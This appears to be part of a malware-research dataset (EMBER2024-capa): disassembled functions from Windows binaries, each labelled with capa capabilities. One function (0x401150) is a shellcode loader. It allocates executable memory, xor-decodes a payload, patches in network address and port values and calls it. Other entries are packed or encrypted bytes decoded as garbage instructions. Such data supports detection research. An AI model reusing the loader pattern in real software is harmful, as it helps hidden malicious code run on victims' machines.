joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48979c
Capabilities:
Encode data using xor

Disassembly:
and byte [eax + 0x6594ea21], bh
mov al, 0x76
dec ecx
xchg ebx, eax
pop es
sahf
inc esp
adc al, 0xf9
nop
lea edx, [ebx + 0x78]
mov dh, 0x28
cmpsb byte [esi], byte es:[edi]
xor byte [ebp - 0x3f181d0c], dl
enter 0xffffffffffff8973, 0x4a
jae 0x48978a
in eax, dx
in eax, dx
in eax, 0x7e
div dword [esi]
dec ecx
and dword [ecx - 0x58], ebx
xchg ah, bl
sti
aam 0x6f
inc esp
jnp 0x4897d7
test eax, 0xcba625e6
sbb dh, bh
in al, 0xfe
fnstcw word [edx - 0x31219f91]
outsd dx, dword [esi]
pushal
je 0x48977b
jbe 0x489785
sbb byte [esi + 9], cl
out dx, al
sbb eax, 0x3cc69234
vmread eax, ebx
add bh, byte [esi - 0x27329f62]
hlt

Function at 0x658e1d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x65f398
cmp edx, dword [eax]
je 0x658e3f
add eax, 8
inc ecx
cmp eax, 0x65f428
jl 0x658e30
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x65f398]
jne 0x658f6d
mov eax, dword [0xa5bdf4]
cmp eax, 1
je 0x658f47
test eax, eax
jne 0x658e70
cmp dword [0x65f2c4], 1
je 0x658f47
cmp edx, 0xfc
je 0x658f6d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x658ea7
lea eax, [ebp - 0x1a4]
push 0x65e4f0
push eax
call fcn.00659800
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00659c90
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x658eea
lea eax, [ebp - 0x1a4]
push eax
call fcn.00659c90
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x65e4ec
push edi
call fcn.0065bb60
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x65e4d0
push eax
call fcn.00659800
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00659810
lea eax, [ebp - 0xa0]
push 0x65e4cc
push eax
call fcn.00659810
push dword [esi + 0x65f39c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00659810
push 0x12010
lea eax, [ebp - 0xa0]
push 0x65e4a4
push eax
call fcn.0065bad4
add esp, 0x2c
pop edi
jmp 0x658f6d
lea eax, [ebp + 8]
lea esi, [esi + 0x65f39c]
push 0
push eax
push dword [esi]
call fcn.00659c90
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x406568
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push 0
push 0
push 0
cld
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
sub eax, 3
mov edx, dword [ecx]
imul ax, dx
movzx eax, al
cmp eax, 0x7c
je 0x4065d0
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x34]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
cmp eax, dword [edx + ebp]
je 0x406610
mov eax, 0x4065cb
lea eax, [edx + eax]
push ebp
push eax
push 0
call 0x40660a
test eax, eax
jne 0x4065e9
jmp 0x406610
push ecx
retf
cmc
nop
mov eax, esp
lea eax, [eax + 8]
mov ecx, eax
or eax, dword [ecx]
and eax, dword [ecx]
cld
or eax, 7
xchg dword [esp + 0xc], edx
lea eax, cs:[eax + 0x789692]
xchg edx, eax
xchg esi, eax
js 0x4065ed
lea eax, [eax - 0x783648]
sub edx, 0x1b4
add dword [edx], eax
mov ecx, dword [esp]
sub esp, 0xffffffec
sub eax, eax
push cs
pop dx
push dx
je 0x4065cd
jmp dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
add byte [eax], al
add byte [eax], al
fimul word [edi - 0x61112727]
jb 0x40661c
mov ebp, 0xc41c1d
ja 0x40669d
cmp dword [0xa1d3869], 0x2f11094c
iretd
outsb dx, byte [esi]
clc
add byte es:[eax], ah
mov eax, dword [ebx + 0x26]
add byte [ecx], dh
xchg ecx, eax
mov esi, 0xb5ad0096
fmul dword [esi - 0x58]
insd dword es:[edi], dx
cmp eax, 0xa76500b0
in al, dx
inc esi
add byte [edi + 0x6d10006], ah
add byte [ecx], ch
mov dword [0xe31dedbc], eax
pop ecx
je 0x4066c9
mov dword [0xc200b608], eax
add byte [eax], bl
mov byte [0x165ce00], al
mov dh, 0
add byte [eax], 0x62
add byte [ebx + 0x355ba37], cl
lds eax, [ecx + 0x2200f63a]
add byte [ebx + 0x704b77], cl
rdtsc
enter 0xd6, 0xffffffffffffffde
or dword [edx - 0x5d], ebx
add byte fs:[edi - 0x48], ch
xchg edi, eax
invalid
Function at 0x401020
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x284
mov eax, dword [0x40d004]
xor eax, esp
mov dword [esp + 0x280], eax
push esi
push edi
mov edi, ecx
push 0x40c2dc
push edi
call fcn.0040140d
mov esi, eax
add esp, 8
test esi, esi
jne 0x401065
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x280]
xor ecx, esp
call fcn.00401228
add esp, 0x284
ret
push 0x7f
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00403660
push esi
push 0x80
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.004016c4
add esp, 0x1c
test eax, eax
jle 0x40104c
push ebx
push esi
call fcn.00401758
push edi
call fcn.00401258
lea edx, [esp + 0x14]
push 0x40c2e0
push edx
call fcn.00401288
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0x10
xor esi, esi
lea edi, [esp + 0x8c]
nop
test eax, eax
je 0x4010e0
push eax
push edi
call ebx
push 0x40c2e0
push 0
call fcn.00401288
inc esi
add esp, 8
sub edi, 0xffffff80
cmp esi, 4
jl 0x4010c0
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
lea eax, [esp + 0x20c]
push eax
call esi
push eax
lea ecx, [esp + 0x190]
push ecx
call fcn.0040124d
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
movzx edx, ax
push edx
lea eax, [esp + 0x114]
push eax
call esi
push eax
lea ecx, [esp + 0x98]
push ecx
call fcn.00401237
add esp, 4
push eax
call fcn.00401150
mov ecx, dword [esp + 0x29c]
add esp, 0x10
pop ebx
pop edi
pop esi
xor ecx, esp
mov eax, 1
call fcn.00401228
add esp, 0x284
ret

Function at 0x401150
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x10
sub eax, 0x16cd9
push ebx
push esi
push edi
je 0x40117a
sub eax, 1
jne 0x401221
mov ebx, 0x1ce
mov dword [ebp - 8], 0x40e180
jmp 0x401186
mov ebx, 0x18c
mov dword [ebp - 8], 0x40dff0
push 0x40
push 0x1000
lea edi, [ebx - 1]
push edi
push 0
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov esi, eax
push 0
push esi
mov dword [ebp - 0x10], esi
call fcn.00403660
mov eax, dword [ebp - 8]
push edi
push eax
push esi
call fcn.00406b90
mov cl, byte [ebx + esi - 2]
mov byte [ebp - 1], cl
lea edi, [ebx - 2]
add esp, 0x18
xor ecx, ecx
test edi, edi
jle 0x4011e3
mov eax, ecx
cdq
mov ebx, 0x10
idiv ebx
inc ecx
add al, dl
add al, byte [ebp - 1]
xor byte [ecx + esi - 1], al
cmp ecx, edi
jl 0x4011c8
mov ebx, dword [ebp - 0xc]
cmp dword [ebp + 8], 0x16cda
mov edx, dword [ebp + 0xc]
mov ax, word [ebp + 0x10]
mov byte [ebx + esi - 2], 0xc3
mov dword [esi + 0xbe], edx
mov word [esi + 0xc5], ax
jne 0x40120e
mov ecx, dword [ebp + 0x14]
mov dword [esi + 0x103], ecx
mov eax, dword [ebp - 0x10]
call eax
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401228
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40d004]
jne 0x401232
repz ret
jmp fcn.00401959
Function at 0x40885e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00401e3d
and dword [ebp - 4], 0
cmp dword [0x40ecd4], 0
mov ebx, eax
jne 0x40890f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4089c0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4089c0
push eax
call fcn.00401dcb
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40ecd4], eax
call esi
push eax
call fcn.00401dcb
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40ecd8], eax
call esi
push eax
call fcn.00401dcb
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40ecdc], eax
call esi
push eax
call fcn.00401dcb
pop ecx
mov dword [0x40ece4], eax
test eax, eax
je 0x40890f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00401dcb
pop ecx
mov dword [0x40ece0], eax
mov eax, dword [0x40ece0]
cmp eax, ebx
je 0x408967
cmp dword [0x40ece4], ebx
je 0x408967
push eax
call fcn.00401e46
push dword [0x40ece4]
mov esi, eax
call fcn.00401e46
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408967
test edi, edi
je 0x408967
call esi
test eax, eax
je 0x40895e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40895e
test byte [ebp - 0xc], 1
jne 0x408967
or dword [ebp + 0x10], 0x200000
jmp 0x4089a0
mov eax, dword [0x40ecd8]
cmp eax, ebx
je 0x4089a0
push eax
call fcn.00401e46
pop ecx
test eax, eax
je 0x4089a0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4089a0
mov eax, dword [0x40ecdc]
cmp eax, ebx
je 0x4089a0
push eax
call fcn.00401e46
pop ecx
test eax, eax
je 0x4089a0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40ecd4]
call fcn.00401e46
pop ecx
test eax, eax
je 0x4089c0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4089c2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40cce2
Capabilities:
Encode data using xor

Disassembly:
dec esi
or eax, 0x6e528345
mov word [0xb677d292], ds
in eax, dx
arpl word [ecx + 0x62], bp
cwde
out 0x11, al
fild qword [eax + ebp + 0x46]
outsd dx, dword [esi]
sbb byte [ecx - 0x70a294db], al
push edi
mov dh, 0x6c
cwde
xor al, 0x9a
popfd
test byte [0x3d23c30d], ch
adc esi, dword [esi]
std
sub byte [ecx], 0xc3
cmp eax, 0x82fd3613
sub ebx, eax
pushfd
out dx, eax
ja 0x40cd0c
and esi, dword [edi + 0x24]
nop
xchg edi, eax
or al, 0xac
sub al, 0xc3
mov dword [0x14978615], eax
push ds
jno 0x40cd6f
push esp
pop eax
and al, 0x3e
mov ebx, 0x687184b1
sbb dword [ecx + 0x6a], esp
mov esp, 0xa9533e93
xor esp, dword [eax - 0x14aa77ee]
sub al, 0xc7
pop es
xor esp, dword [edi - 0x14]
push ss
jl 0x40cd40
sub byte [0x732c0f6e], bh
aam 0x96
js 0x40cdaa
movsb byte es:[edi], byte [esi]
xchg ebp, eax
jecxz 0x40cdcb
adc eax, 0xc5799681
inc ecx
in al, dx
stosb byte es:[edi], al
inc ebx
std
in al, 0x15
sub byte [edi], ah
loopne 0x40cd1a
adc dword [esi - 0x13be3a87], 0xe4fd43aa
adc eax, 0xb3e02728
mov ds, edi
cmp byte [esp + eax*2], bh
xor ch, byte [ecx]
inc esp
out 0xd8, eax
jecxz 0x40cda0
pop edx
jb 0x40cddc
adc dword [ebx - 0x48cda0c8], 0x3a969de8
jne 0x40cdd5
xchg esi, eax
cmp dh, byte [ebp + 0x52]
in eax, 0x31
pop esp
adc edi, edi
mov ebp, 0xb4547a3b
aam 6
cmp edi, dword [edx + 0x54]
mov ah, 0xd4
push es
test al, 0xd2
xchg ebp, eax
mov ch, 0x20
popal
sub al, 0xb8
arpl word [edi + 0x74], bp
cld
clc
and dl, byte [edi + 0x3a]
mov edx, 0xfc82b420
outsb dx, byte [esi]
cmc
ret 0xe8bf
xchg edi, eax
and dh, byte [edi + 0x77a87de4]
and al, 0xbd
loope 0x40ce2c
mov bh, 0xe4
jge 0x40cd58
ja 0x40cdd6
mov ebp, 0xf76877e1
push 0x2477656b
push 0x656b68f7
ja 0x40cde0
jp 0x40cd7f
ror dword [ebp + 0x77c82288], 0x90
lea ecx, [eax - 0x6f8837de]
push edi
sti
ja 0x40cdac
jns 0x40cdfa
add ebp, dword cs:[esi]
add ebp, dword [esi]
jno 0x40cdbd
mov eax, 0x3758773a
std
std
mov ch, 0x75
mov edi, 0x77e8560f
test eax, 0x3876563b
orps xmm5, xmm0
ja 0x40cd89
push esi
call 0x567c7759
jbe 0x40ce1c
cmp edx, dword [esi + 0x76]
cmp byte [edx], bh
jns 0x40cddb
cmp bh, byte [ecx - 0xc]
jl 0x40cdfc
mov esp, 0xe921f5a7
mov dh, 6
imul ebx, dword [ecx + 0x7910495a], 0x32
mov ecx, 0x6df7cdcc
imul dword [ebp - 0x4a]
hlt
mov dh, 0xf4
je 0x40ce50
or al, 0x68
mov al, byte [0x2b512b29]
stosd dword es:[edi], eax
mov dh, 0x29
imul ebx, dword [ecx - 0x6749c709], 0x7c
call 0xab8c113d
xlatb
scasb al, byte es:[edi]
leave
insd dword es:[edi], dx
xchg edx, eax
sub ebp, dword [edx + 0x6ebdb463]
mov bl, 0x13
pop esp
stosb byte es:[edi], al
arpl word [ebp + edi*4 + 0x5c13b36e], si
sub eax, 0x61427517
mov ebp, 0xce46f0f7
xchg esi, eax
pop edx
adc ebx, dword [ebp + 0x7e752552]
invalid
invalid
insd dword es:[edi], dx
adc eax, 0x3ac57e9
pushal
mov dl, 0xff
and al, 0x4b
cmp al, 0x6b
mov esp, 0x4cbc53b
dec ebx
shl byte [ebx - 0x13db5cca], 1
xor eax, 0xb63b748d
push esi
les ecx, fs:[edx + 0x7cc6058]
mov esi, 0xfe32b005
push ebx
invalid
Function at 0x4103f9
Capabilities:
Encode data using xor

Disassembly:
invalid
jp 0x41046c
in eax, 0x4e
shr cl, 1
stc
push es
sbb dword [edi + 0x79], ebx
fisub word [ebp + 0x79ad438c]
rcl dword [ebx - 0x6a9579d1], cl
push 0x2a
add byte [ebp - 0x46], dl
cld
mov ecx, 0x261c9b65
sub dl, dl
cli
push ecx
or dword es:[ebp - 0x6d], 0xcc7798d0
or dword [ebp - 0x6d], 0xcc7798d0
in eax, dx
fnsave dword [edx + 0x772d33e1]
add al, 0x76
out 0xc1, al
add byte [esp + edi*8 + 0x4d], ah
pop esi
movsb byte es:[edi], byte [esi]
dec edx
std
sahf
call 0xe1a83861
pop esp
mov al, byte [0xedaf240f]
inc edi
loop 0x4103e7
mov dh, 0x78
cmp eax, 0x2b30b3e6
dec ebp
ljmp 0x9516
and eax, 0x49e73b8d
mov dword [0xdfc048bf], eax
dec ebx
fstp st(4)
sbb eax, 0x44ac9a55
push cs
push eax
and eax, 0xe20df0dd
inc ecx
and al, 0x30
or edi, dword [ebx + 0x73]
cmpsb byte [esi], byte es:[edi]
xor eax, 0x6d353753
jle 0x41049e
jmp 0x410420
dec ebp
jecxz 0x4104ec
or eax, 0xb297ae0
mov edi, 0xdb23c7f5
inc byte [eax + 0x418d17f0]
mov cl, 0xb6
jo 0x41051e
xchg edx, eax
test al, 0xf5
inc byte [ecx + 0x56435f70]
xor bh, byte [ebp + 0x55]
sbb dl, 0x10
mov bl, 0xda
aad 0x96
imul dword [edx]
mov esi, 0xe8ec721b
sbb cl, byte [0xdec0bea4]
mov ecx, 0x8d9db129
movsd dword es:[edi], dword [esi]
pushfd
fst dword [esi + 0x27fb8436]
daa
dec ebp
dec esp
sub esi, dword [esi + 0x46111d67]
pop ss
adc dword [esi + 0x17], eax
loop 0x410542
or dh, byte [edx + 0x78]
cmp eax, 0xceb21e09
pop eax
add edx, ecx
lds ebx, [eax + eax*8 - 0x5f]
int3
in al, dx
sbb cl, byte [ebp - 0x77574604]
int3
insd dword es:[edi], dx
adc eax, 0xfaa0d3e5
leave
movsb byte es:[edi], byte [esi]
sbb esi, dword [ecx + 0x27cdbb03]
jne 0x4104e9
adc bh, byte [edx + 0x2a]
test edx, eax
out dx, eax
inc esp
aad 0xdd
mov ch, 0x50
sub byte [ebx + 0x67736c56], cl
inc esi
sub byte [edi - 0x368195d7], 0x65
sub ecx, dword [eax - 0x3ad07d6b]
xor dword [ebp + edx - 0xdbc2bf6], esi
jne 0x410574
mov dl, 0xa3
xchg esp, eax
cmp byte [edi], 0x32
aas
jmp 0xafe5c970
Function at 0x62a811
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x6323b8
cmp edx, dword [eax]
je 0x62a833
add eax, 8
inc ecx
cmp eax, 0x632448
jl 0x62a824
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x6323b8]
jne 0x62a961
mov eax, dword [0x639d40]
cmp eax, 1
je 0x62a93b
test eax, eax
jne 0x62a864
cmp dword [0x6322e4], 1
je 0x62a93b
cmp edx, 0xfc
je 0x62a961
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x62a89b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0062b1f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0062b680
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x62a8de
lea eax, [ebp - 0x1a4]
push eax
call fcn.0062b680
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x62f7bc
push edi
call fcn.0062d550
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0062b1f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0062b200
lea eax, [ebp - 0xa0]
push 0x62f79c
push eax
call fcn.0062b200
push dword [esi + 0x6323bc]
lea eax, [ebp - 0xa0]
push eax
call fcn.0062b200
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0062d4c4
add esp, 0x2c
pop edi
jmp 0x62a961
lea eax, [ebp + 8]
lea esi, [esi + 0x6323bc]
push 0
push eax
push dword [esi]
call fcn.0062b680
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x10004f43
Capabilities:
Create process on windows
Get common file path

Disassembly:
call fcn.1014664f
mov edi, edx
mov esi, ecx
bsf eax, edi
stc
lea eax, [ebp - 0x118]
stc
xor ebx, ebx
jmp loc.101e3ea6
push 0x514
cmovbe ax, cx
mov eax, ecx
mov eax, 0x10172aec
jmp 0x10002c4e

Function at 0x100050a6
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
call fcn.1014664f
mov dword [ebp - 0x64], edx
mov bx, si
inc edi
mov dword [ebp - 0x68], ecx
sar al, cl
mov eax, dword [ebp + 8]
lea edi, [ebp - 0x28]
movzx ebx, sp
mov dword [ebp - 0x6c], eax
sar eax, cl
xor esi, esi
bswap eax
xadd al, al
mov eax, dword [ebp + 0xc]
mov ebx, esi
test ebp, 0xf3a49a85
clc
mov dword [ebp - 0x70], eax
cmc
jmp loc.101e2f0f
push 0x64
movsx ax, dh
mov eax, 0x101723e5
jmp 0x10002dae

Function at 0x10006da7
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov edx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
test esi, esi
jg 0x10006dd1
jl 0x10006dc8
test ebx, ebx
jne 0x10006dd1
xor eax, eax
xor edx, edx
jmp 0x10006e89
cmp dword [ecx + 0x38], 0
je 0x10006de4
push esi
push ebx
push edx
call fcn.10003ad2
jmp 0x10006e89
mov eax, dword [ecx + 0x1c]
push edi
mov edi, ebx
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x10006e24
mov eax, dword [ecx + 0x2c]
cmp dword [eax], 0
jbe 0x10006e24
cmp dword [eax], ebx
mov esi, ebx
cmovb esi, dword [eax]
push esi
push dword [ebp - 0xc]
push edx
call fcn.101490e0
mov ecx, dword [ebp - 8]
sub edi, esi
add dword [ebp - 4], esi
add esp, 0xc
mov eax, dword [ecx + 0x2c]
sub dword [eax], esi
mov eax, dword [ecx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0x10]
cmp dword [ecx + 0x4c], 0
je 0x10006e7f
call fcn.10007bed
mov ecx, dword [ebp - 4]
mov edx, edi
cmp edi, 0xfff
jbe 0x10006e67
mov eax, dword [ebp - 8]
push dword [eax + 0x4c]
push 0xfff
push 1
push ecx
call fcn.10152c80
mov ecx, dword [ebp - 4]
sub edi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x10006e7f
jmp 0x10006e34
test edx, edx
je 0x10006e7f
mov eax, dword [ebp - 8]
push dword [eax + 0x4c]
push edi
push 1
push ecx
call fcn.10152c80
add esp, 0x10
sub edi, eax
sub ebx, edi
mov eax, ebx
sbb esi, 0
mov edx, esi
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x1000dfcd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1000e026
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1000e026
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 0x10]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x1000e017
cmp esi, ecx
jae 0x1000e026
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x1000e005
cmp esi, ecx
jae 0x1000e026
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
jmp 0x1000e028
xor eax, eax
pop esi
pop ebp
ret
Function at 0x1000e7f9
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x18
mov eax, 0x101730be
call fcn.1014661c
mov eax, ecx
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp + 0x10]
xor edi, edi
mov esi, dword [ebp + 0x14]
push edi
mov dword [ebx], edi
mov dword [esi], edi
cmp dword [eax + 0x58], edi
je 0x1000e8a1
push dword [ebp + 8]
call fcn.1000eb18
mov dword [ebp - 0x10], eax
test eax, eax
je 0x1000e927
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], edi
push ecx
push edi
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push ecx
push edi
push dword [ebp + 0xc]
mov dword [ebp - 0x14], edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [ebp - 0x14]
mov dword [esi], ecx
test eax, eax
jne 0x1000e88a
push ecx
call fcn.1001057a
pop ecx
lea ecx, [ebp - 0x14]
mov dword [ebx], eax
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1000e88a
xor edi, edi
inc edi
jmp 0x1000e894
push dword [ebx]
call fcn.1000bce7
pop ecx
mov dword [ebx], edi
lea ecx, [ebp - 0x24]
call fcn.1000e6c0
jmp 0x1000e925
mov eax, dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
mov esi, dword [eax + 0x84]
lea eax, [ebp - 0x10]
push eax
mov ecx, esi
call dword [0x101829dc]
mov ecx, dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], 1
mov ecx, dword [eax - 0xc]
test ecx, ecx
je 0x1000e91d
mov esi, dword [ebp + 0x14]
shr ecx, 1
push ecx
mov dword [esi], ecx
call fcn.1001057a
mov dword [ebx], eax
pop ecx
cmp dword [esi], edi
jbe 0x1000e917
lea esi, [edi + edi]
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000e69c
push esi
lea ecx, [ebp - 0x10]
mov bl, al
call fcn.1000e69c
mov ecx, dword [ebp + 0x10]
shl bl, 4
sub bl, 0x51
add al, bl
mov ecx, dword [ecx]
mov byte [edi + ecx], al
inc edi
mov eax, dword [ebp + 0x14]
cmp edi, dword [eax]
jb 0x1000e8e5
mov eax, dword [ebp - 0x10]
xor edi, edi
inc edi
lea ecx, [eax - 0x10]
call fcn.1000db85
mov eax, edi
call fcn.101465ea
ret 0x10

Function at 0x1000e92f
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
cmp dword [ecx + 0x58], esi
je 0x1000e982
push esi
push dword [ebp + 8]
call fcn.1000eb18
mov edi, eax
test edi, edi
je 0x1000e97d
lea eax, [ebp - 4]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x1000e97d
mov eax, dword [ebp - 8]
jmp 0x1000e994
mov eax, dword [ebp + 0x10]
jmp 0x1000e994
push dword [ecx + 0x6c]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
pop edi
pop esi
leave
ret 0xc
Function at 0x1000e99a
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101730eb
mov eax, dword fs:[0]
push eax
mov eax, 0x201c
call fcn.101467a0
mov eax, dword [0x101d7000]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
xor ebx, ebx
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0x201c], edi
mov dword [ebp - 0x2024], eax
cmp dword [ecx + 0x58], ebx
je 0x1000eacb
push ebx
push edx
call fcn.1000eb18
mov ebx, eax
test ebx, ebx
jne 0x1000ea02
push esi
jmp 0x1000eaf3
lea ecx, [ebp - 0x2014]
call fcn.1000c661
xor ecx, ecx
lea eax, [ebp - 0x2018]
push eax
push ecx
lea eax, [ebp - 0x2020]
mov dword [ebp - 4], ecx
push eax
push ecx
push dword [ebp - 0x2024]
mov dword [ebp - 0x2020], ecx
push ebx
mov dword [ebp - 0x2018], ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x201c], eax
test eax, eax
jne 0x1000ea8a
mov eax, dword [ebp - 0x2018]
lea ecx, [ebp - 0x2014]
shr eax, 1
push eax
call fcn.1000d7c1
lea ecx, [ebp - 0x2018]
push ecx
push eax
lea eax, [ebp - 0x2020]
push eax
push 0
push dword [ebp - 0x2024]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 0xffffffffffffffff
lea ecx, [ebp - 0x2014]
mov dword [ebp - 0x201c], eax
call fcn.1000ec54
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x201c], 0
jne 0x1000eab8
mov esi, dword [ebp - 0x2014]
add esi, 0xfffffff0
push esi
call fcn.1000ce80
pop ecx
add eax, 0x10
mov ecx, esi
mov dword [edi], eax
call fcn.1000db85
jmp 0x1000eafa
push esi
mov ecx, edi
call fcn.1000c5b7
mov ecx, dword [ebp - 0x2014]
lea ecx, [ecx - 0x10]
jmp 0x1000eab1
test esi, esi
jne 0x1000ead4
mov esi, 0x10182f00
push dword [ecx + 0x6c]
lea ecx, [ebp - 0x2010]
push 0x1000
push ecx
push esi
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
